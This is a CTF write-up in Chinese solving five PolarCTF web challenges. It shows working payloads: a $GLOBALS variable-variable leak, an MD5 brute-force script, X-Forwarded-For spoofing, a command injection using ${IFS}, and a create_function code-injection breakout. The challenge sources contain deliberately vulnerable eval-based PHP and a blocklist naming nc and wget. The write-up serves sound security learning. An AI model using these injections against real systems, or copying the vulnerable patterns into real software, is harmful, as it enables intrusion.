CTFCTF学习polarctf-web(16-20)
fulian23$$
考察点
将参数值作为变量名,php全局变量GLOBALS等
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
highlight_file(__file__); error_reporting(0); include "flag.php";
$a=$_GET['c']; if(isset($_GET['c'])){ if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){ die("oh on!!!");} else{ eval("var_dump($$a);");}}
|
用vardump打印出$a的值为名称的变量,用php的全局变量 $GLOBALS
,payload: ?c=GLOBALS
1
| array(7) { ["_GET"]=> array(1) { ["c"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["a"]=> string(7) "GLOBALS" ["fl4g"]=> string(38) "flag{9f8a2133f0cad361ff6d22a445c2531a}" ["GLOBALS"]=> array(7) { ["_GET"]=> array(1) { ["c"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["a"]=> string(7) "GLOBALS" ["fl4g"]=> string(38) "flag{9f8a2133f0cad361ff6d22a445c2531a}" ["GLOBALS"]=> *RECURSION* } }
|
得到flag
爆破
考察点
python脚本编写
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php error_reporting(0);
if(isset($_GET['pass'])){ $pass = md5($_GET['pass']); if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){ if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){ include('flag.php'); echo $flag; } } }else{ highlight_file(__FILE__);
} ?>
|
找到满足条件的md5即可,python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| import itertools import string from hashlib import md5
def check_md5(h): """检查MD5哈希是否满足条件""" return ( len(h) == 32 and h[31] == '3' and h[1] in '123456789' and h[1] == h[14] and h[14] == h[17] )
def generate_passwords(charset, min_len, max_len): """密码生成器,按长度递增生成所有组合""" for length in range(min_len, max_len + 1): for combo in itertools.product(charset, repeat=length): yield ''.join(combo)
def find_valid_password(): """按字符集优先级搜索有效密码""" search_strategy = [ (string.digits, 1, 8), (string.ascii_lowercase + string.digits, 1, 6), (string.ascii_letters + string.digits, 1, 5), (string.printable.strip(), 1, 4) ]
for charset, min_len, max_len in search_strategy: print(f"尝试字符集: {charset[:10]}... 长度 {min_len} 到 {max_len}") for password in generate_passwords(charset, min_len, max_len): hash_value = md5(password.encode()).hexdigest() if check_md5(hash_value): print(f"找到有效密码! 密码: {password}") print(f"对应MD5值: {hash_value}") print(f"验证: 位置1={hash_value[1]}, 14={hash_value[14]}, 17={hash_value[17]}, 31={hash_value[31]}") return password return None
if __name__ == "__main__": print("开始爆破...") result = find_valid_password() if result: print(f"爆破成功!有效密码为: {result}") print("在PHP中使用: ?pass=" + result) else: print("未找到有效密码 :( 请尝试扩大搜索范围")
|
得到密码422
XFF
考察点
x-forwarded-for用来表示请求的真实地址(指被代理后的)
解题
修改x-forwarded-for为1.1.1.1即可
rce1
考察点
php rce
解题
简单的命令执行
payload:;tac${IFS}fllllaaag.php
某函数的复仇
考察点
php 匿名函数及结构
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php highlight_file(__FILE__);
if(isset($_POST['shaw'])){ $shaw = $_POST['shaw']; $root = $_GET['root']; if(preg_match('/^[a-z_]*$/isD',$shaw)){ echo 123; if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){ echo 456; echo $shaw('',";}system('ls');//"); $shaw('',$root); }else{ echo "Almost there^^"; } } } ?>
|
这里可以构造一个函数名和他的第二个参数,由于第一个参数是空的,于是想到了create_function
语法为:create_function('$args', '函数体');
PHP 会把它编译成:
1 2 3
| function lambda($args) { 函数体 }
|
create_function 的实现方式 并不是“编译一个干净的函数”,而是直接把两个参数拼接到一段 PHP 源码字符串里,然后用 eval 执行这段字符串,从而“动态创建”一个函数。
如:
1 2 3 4 5 6
| $code = ' function ' . $lambda_name . '(' . $args . ') { ' . $body . ' } '; eval($code);
|
构造:
1 2 3 4 5 6 7 8 9
| function lambda() { ;}system('ls'); }
即
function lambda() { ;} system('ls');
|
成功执行命令